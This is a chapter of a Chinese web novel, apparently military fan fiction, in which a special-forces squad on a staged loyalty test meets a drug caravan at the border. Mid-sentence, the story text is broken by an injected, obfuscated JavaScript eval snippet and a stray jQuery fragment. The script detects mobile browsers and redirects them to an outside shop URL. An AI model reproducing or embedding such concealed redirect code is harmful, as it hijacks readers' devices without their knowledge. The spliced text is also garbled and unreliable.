半个小时后,集合哨响了。
菜鸟A组和灰狼带领的老鸟小队在国旗下列队完毕,肃杀之气扑面而来。
基地外的直升机已经发动,巨大的旋翼轰鸣声震耳欲聋。
高大壮的身影出现在灯光下,他审视着一张张画满迷彩油彩脸庞,大声问:“同志们,今晚是你们的最终考核,实战!都准备好了吗?”
“时刻准备着。”十一道声音汇聚成一股洪流。
“祝你们首战告捷,凯旋而归。”高大壮祝福道。
“忠于祖国,忠于人民。”
“出发。”
两支小队迅速登上了直升机,直升机拔地而起,直扑西南边境。
机舱捏,空气紧绷,几乎是凝固的,菜鸟们一个个神色复杂,其中神色最复杂的当属高砚暝了。
高砚暝看着自己再熟悉不过的老鸟们,眼神里全是‘演,你们接着演。’
是的,从一开始高砚暝就知道这是个老鸟们的骗局。
她太熟悉他们出战时的状态了,绝对不是这种松弛感满满的感觉,而且他们在不动声色的给小菜鸟们施压,包括那一顿饭、写遗书、和现在这种闭目养神似的的沉默。
就为了给小菜们增加心理压力。
她看着身边的战友们,陈国涛正死死的盯着脚尖,不知道在想什么,耿小壮腰杆挺直,但指关节却因为用力过度而发白。
庄焱已经反复检查他的那把95步枪不知道多少次了,偶尔还要摸出他女朋友的照片看一看。
“记得降落前收好。”灰狼瞥了他一眼。说。
“是。”庄焱认真的回答,他知道战场上不允许携带任何带有个人身份的标识。
强子和老炮和陈国涛一样,都在发呆,不过眼睛直直盯着机舱而不是盯着脚尖。
只有邓振华和史大凡看着没什么压力。
史大凡掏出来了不知道藏在哪儿的《七龙珠》看着傻乐,邓振华左顾右盼,试图找人说话,但没人搭理他。
两个小时后。
直升机到达了目的地,飞行员沉稳的声音划破了螺旋桨的轰鸣,从扩音器中传出:“灰狼,预定着陆区已经到达,祝各位武运昌隆。”
“收到!”灰狼简单的回应,随机转过头,凌厉的目光扫过A组所有人的脸,“全体注意,最后一次整备,看好身上有没有携带不该带的东西,准备索降!”
“是!”众人异口同声,回答。
他们迅速排查,将一切不必要的私人物品归置在一起,这些都是为了保护他们,也是为了保护他们的亲朋好友不会被报复。
这是特种部队用无数血泪和生命换来的经验,任何微小的破绽,都有可能被后方的亲友带来灭顶之灾。
“行动。”
舱门划开,两名经验丰富的老鸟熟练的抛下软索,老鸟们身形矫健的跃下舱门,悄无声息地消失在下方的密林中。
“轮到你们了。”灰狼示意。
邓振华身为一个空降兵,技术纯熟,率先跳了下去,接着从陈国涛开始一个一个往下跳,最后轮到了高砚暝。
她没跳,就这么看着灰狼,显然她是故意留到了最后。
“你们演技挺好啊。”高砚暝对灰狼说。
“就知道瞒不过你,你就安静的当个美少女就可以了。”灰狼摸了摸头,无奈极了。
显然他们也预料到了高砚暝不会被骗,毕竟都太熟了。
这次所谓的“哑弹行动”实际上是狼牙的忠诚度测试,也叫“SERE" 生存、躲避、反抗、逃脱!
它要考研的就是一个人在面对生死抉择、甚至是面对敌人的严刑拷打时会做出什么样的选择。
在特种部队、忠诚永远被放在首位,因为他们是国家的第一道防线,也是最后一道防线,这里不容许任何人性的弱点。
当然,同时要学的就是真的面对这种情况时要怎么生存下来,并且成功逃脱出来。
因为有高砚暝,他们这次做了两套方案,如果她没发现,那就走第一步,但如果被发现了就要让她保持安静。
怎么保持安静呢?当然是被他们第一个打死。
至于对高砚暝的测试,狼头做主给免了。
他们太清楚高砚暝的为人了。
她唯一在乎的都在狼牙里,她近乎病态的想要护好自己在乎的东西,而如果她在乎的人被人端了,那就等于狼牙整个部队都被端了,这也意味着发生了全面战争,那这种时候谁知道发生了什么。
所以,对她,他们没必要做其他的测试。
“下去吧。一会儿去找土狼,这次你俩一起被击毙。”灰狼摸了摸高砚暝的头,笑眯眯的说。
高砚暝白了他一眼,直接跳了下去。
不到2分钟A组人员全都安全着陆。
无需指令,十一个人迅速在林间散开,各自寻找射击位据枪警戒,眼神扫视着幽暗的四周。
灰狼开启头盔上的战术手电筒,微弱的红光照亮了地图一角;“三点钟方向,急行军五公里,接头人在那里等我们。”
经过集训的折磨,现在五公里山路对他们而言不过是家常便饭。
二十分钟后,这只静默的队伍便抵达了汇合点。
这里是原始丛林的深处,除了偶尔的虫鸣和战士们规律的呼吸,四周寂静的令人心悸。
不知过了多久,林木深处突然闪起三道光亮——两长一短。
“来了。”灰狼举起手电筒,也回了一个信。
“菜鸟们注意,”灰狼的声音在无线电耳麦中响起,“是自己人,压低枪口,这次配的全是实弹,别闹出乌龙。”
他就如同‘男妈妈’一样,一步一步叫他们怎么做。
众人连忙收敛锋芒,将枪口斜向地面。
轻微的草木摩擦声渐渐走进,有两道身影出现在了视野中。
“唉?怎么还有个女的?”邓振华压低声音嘀咕了一句。
“嘿,隔着老远你都能看得出来啊?”史大凡同样用小声嘀咕。
“我可是阅女无数的天上的雄鹰,你看看那身段,腰细胯宽,走路带风,准是个... ...”
“那你怎么没看出来我是个女的。”还没等邓振华说完,高砚暝的声音传了过来,整个频道瞬间静默了,他们仿佛连呼吸都不会了。
邓振华更是缩着脑袋,一声不敢吭。
史大凡的憋笑的声音仿佛开启了什么开关,行动频道里开始此起彼伏的传出憋笑的声音。
“咳咳,严肃点。”马达的声音传了过来,但很明显他也在憋笑。
这时候人影走近了,正如邓振华所言,为首的人的确是个漂亮姑娘,但是现在他们一看到她就想笑,一个个都在抖着肩膀。
“谁是灰狼?”她并不知道众人在努力憋笑,开门见山就说。
“我就是。”灰狼说,想尽量让自己严肃起来,可是看着这姑娘就是有点想笑。
“你是边防的情报参谋?”他轻咳一声,缓和好情绪,没让人家看出来,才开口。
她的确也没看出来,只是点着头,说:“武警边防情报参谋部夏岚。这是我的助手。”
“你好。”灰狼简单的回了一个礼。
“废话少说,出发。后面还有三十公里山路要赶。”夏岚高冷的说。
“三十公里?”灰狼挑眉。
“怎么?特种部队盛名之下连这点山路都走不了?”夏岚斜睨了众人一眼,言语带着几分挑衅,也不知道挑衅个什么劲。
“不是我们不行,是怕你们跟不上。”灰狼嘴角扬了扬,丝毫不退让的说着。
“行不行,战场上见。走吧。”夏岚说完,转身没入丛林。
“怎么?狼牙和他们结仇了?”高砚暝歪了歪头,看向马达。
“谁知道呢?我们天天找人肠子,谁知道是什么时候的罪过的人?”耳麦里传来的是天狼的声音,漫不经心的,却带着锋芒。
“跟上吧。”灰狼笑了一下,无奈的说,他们紧随其后,钻进了丛林里。
“这姑娘够野,我喜欢。”邓振华在后面嘿嘿一笑,轻声说。
“哟,你喜欢野的啊,鸵鸟。”史大凡轻声调侃,眼睛瞟向了高砚暝。
“更野的在前面呢。”老炮估计和史大凡想到一起了,抬了抬下巴,指着高砚暝,也轻声说了一句。
“鸵鸟,活着回去的话,武装越野三十公里。”耳麦里,马达的声音也适时地传了过来。
“唉,又忘了耳麦。”邓振华的表情仿佛被雷劈了似的,轻声嘟囔了一句,再也不敢胡咧咧了。
————————分割线——————
与此同时,西南边境Z117线附近,一只庞大的马队正接着夜幕潜行。
三十多匹马和四十多名全副武装的汉子构成了一道压抑的阴影。
马匹带着紧实的笼头,马蹄上也裹着厚棉布,防止声音传出去,让夏国边防军发觉。
他们在马背上驮着分量不轻的货物,小心翼翼的前进着。
“都打起精神!速度再快点,别让马失了蹄。”说话的是个脸上带有刀疤的男人,代号是蜈蚣,此刻他正跟在一个微胖的光头男人身边,警惕四周,说着。
“武爷,接下来是山道,比较危险,你要小心点。”他冷着脸,对男人说,其实这次他实在是不想来的,奈何这家伙给的太多了,他才冒着险来了。
被称为“武爷”的光头叫武吉,年约三十,那双细缝眼里现在满满都是兴奋与忐忑。
兴奋的是,他折腾了几个小时,终于带人成功偷渡进了这片土地,可以大展身手,忐忑则是因为他那位叱咤风云的哥哥——大毒枭敏登。
他哥曾经反复告诫过他:“这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860710|211979||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
世界上任何地方都能去,唯独夏国是禁区,那是雇佣兵的坟场,毒贩的断头台。”
敏登的生意版图横跨全球,甚至能影响别国的政权,却始终无法染指夏国市场。
武吉虽然三十多了,但还没过中二期,还有那么个哥哥,自然是没有挨过社会的毒打,所以对他哥的话深感不服,他迫切的想要向他哥证明他不是个庸才。
于是他筹谋数月,拉拢了西南霸主马世昌和药业巨头郭小鹏,想要做出一番事业。
这两方实力掌控着夏国国内绝大部分的白粉和□□份额,只要这一条线大同,建三角的毒源将源源不断流入,届时他武吉就是首功,他哥也不会将他当孩子。
“蜈蚣,我们都走了这么久马云飞到底要在哪儿街头?”武吉不满的问。
他本来以为马家集团掌舵人马世昌会亲自过来,结果对方只派了个儿子马云飞,这让他觉得被怠慢了。
“武爷,按现在的脚程,再有三个小时左右就到了。”
“还得三个小时?整个西南不都是他马家的地盘吗?姓马的小子是诚心折腾我的吧?”武吉骂骂咧咧。
他习惯了锦衣玉食的,哪儿受过这种林间穿行的罪啊。
“这里毕竟是夏国境内,小心驶得万年船。就在几个月前我十几个兄弟莫名其妙就折在这里了,生不见人死不见尸的,到现在都每个音讯。”蜈蚣在心里翻着白眼,骂骂咧咧,但面上还是在不停的安抚他。
“那是你手下太废物,”武吉冷笑出声,他叫嚣着“我这次带的可都是各国退役的顶尖特种兵,就算撞上夏国的特种兵,我也能让他们有来无回。”
“还是小心点吧。”蜈蚣在心里咒骂,再次后悔接这个任务。
他在边境是小有名气带路人,但一般都是往外带,这种往里带的活很少会干,上回他的十几个兄弟接这么活,全军覆没了,这次他就不想干,但是还是那句话,武吉给的太多了啊。
可是真正和武吉相处过后,他真的很想给那个贪心的自己一个大巴掌,总感觉这次会出事儿,他现在就想跑路了。
——————分割线——————
在曙光撒花姑娘为刺破黑暗之前,菜鸟A组和老鸟们悄然抵达了预定区域。
“就是这儿了。”夏岚谨慎地环顾四周,确认安全后向众人低声示意。
灰狼习惯性的抬手腕想要核对时间,夏岚却率先开口了:“不用看了,还有两个小时,等天色放量,那伙毒贩就会沿着这条路进入内地,我们守株待兔,一定能打他们一个措手不及。”
灰狼看了她一眼,点点头,随即回神压低声音对A组队员嘱咐:“全体注意,进入埋伏位置,我最后重申一遍,你们枪里现在全是真家伙。一旦交火,严禁脱离掩体冒进。记住,一切听从指挥。清楚了吗?”
“清楚!”众人屏息应答。
随着灰狼一声令下,菜鸟与老鸟迅速分散,如同消失在夜色中的幽灵。
陈国涛庄焱和强子作为突击组,紧跟着土狼走了,邓振华和史大凡则默契地在近处寻找高点,不止狙击阵位,受限于夜间视距,他们并没有拉开太远的距离。
陈国涛和耿继辉作为只会辅助,守在灰狼侧翼,郑三炮作为爆破组,跟着老鸟的爆破组一起行动,只有高砚暝悄悄的隐在了大树后,等待战友们被抓。
陈国涛也隐身在一个大树后,他皱着眉头观察片刻,低声问:“夏参谋,你确定那些家伙会走这条路吗?”
“我很确定。”夏岚语气坚决,“线人是我亲手扎下的钉子,绝不敢玩火,怎么,你有怀疑?”
“我们只是说出了合理的疑问,”耿继辉接过了话头,将陈国涛想说的话问了出来,他摊开地图,手指轻点着,“我们现在所处的位置是典型的‘口袋’谷底,一旦被咬住连撤退的余地都没有。而在这一带,明明有几条更平缓、路程更短的小径,振捣突发类情况也能驯熟撤回国境线外。这些毒贩放着活路不走,为什么偏要往死胡同里钻?”
看到夏岚被问住了,灰狼在一旁打圆场:“或许毒贩就是预判了你的预判呢。觉得因为这里是死地,反而会让人放松警惕,会更安全些。目前,情报就是我们的最高指令。”
“可是... ...”陈国涛还想说些什么,却被灰狼严厉的眼神制住:“执行命令。”
“是。”陈国涛和耿继辉立即回答,即使有疑惑,但军人的天职让他们迅速收了声,端起枪严阵以待。
高砚暝在树上看的津津有味,正当她等待着自己的戏份的时候她的圆被触动了。
她迅速回过神,全力施展圆,想看看过来的人是谁,然后她就‘看’到了三十几匹马和四十多个人。
“灰狼,有变故!”高砚暝跳到灰狼身边,低声说。
“怎么回事?”灰狼下意识的扫了一眼表,距离预定的考核时间还早。